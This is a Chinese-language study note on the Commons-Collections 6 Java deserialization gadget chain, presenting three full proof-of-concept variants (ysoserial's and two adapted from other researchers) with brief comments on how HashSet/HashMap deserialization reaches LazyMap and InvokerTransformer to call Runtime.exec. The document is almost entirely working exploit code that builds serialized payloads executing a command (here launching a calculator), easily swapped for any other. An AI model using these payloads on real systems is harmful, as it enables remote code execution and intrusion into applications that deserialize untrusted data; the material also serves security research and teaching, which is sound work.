以下是CC6三种实现方式
ysoserial POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
public class cc6 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
HashSet hashset = new HashSet(1);
hashset.add("foo");
//HashSet 基于 HashMap 来实现的,获取其HashSet中的HashMap
Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);
//反射获取了 HashMap 中的 table 属性,table其实就是hashmap的存储底层,将HashMap中的每一个元素 封装在了 Node 对象中,将这些node对象存储在table数组中
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);
//在获取到了 table 中的 key 之后,利用反射修改其为 tiedmap
Object node = array[0];
if(node == null){
node = array[1];
}
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
利用hashSet.readobject触发hashmap.put()从而触发tiedmap.hashcode从而调用getvalue从而调用lazymap.get进而进入ChainedTransformer.tranform
剩余链子为ConstantTransformer+InvokerTransformer+InvokerTransformer+InvokerTransformer
修改自P牛 POC:
HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
hashMap.put(tied, "2");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
//因为在hashMap.put时候会调用tiedmap.get从而调用lazymap.get使得lazymap中存储了{"1":transformer("1")},所以需要清理掉。否则反序列化时get成功
lazyMap.clear();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
ysoserial是利用hashset.readobject触发hashmap.put(),其实在hashmap.readobject中也会触发hashmap.put(),所以这里用的hashmap而不是hashset
修改自白袍 POC:
HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
//hashMap.put(tied, "2");
//HashSet hashSet = new HashSet(hashMap.keySet());
HashSet hashSet = new HashSet<TiedMapEntry>();
hashSet.add(tied);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
lazyMap.clear();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashSet);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
ysoserial poc的后半部分就是在给hashset赋值,那为啥不能直接add进去呢,这里修改了部分白袍师傅的poc代码也能rce成功
hashset.add其实就是给其hashmap赋了个值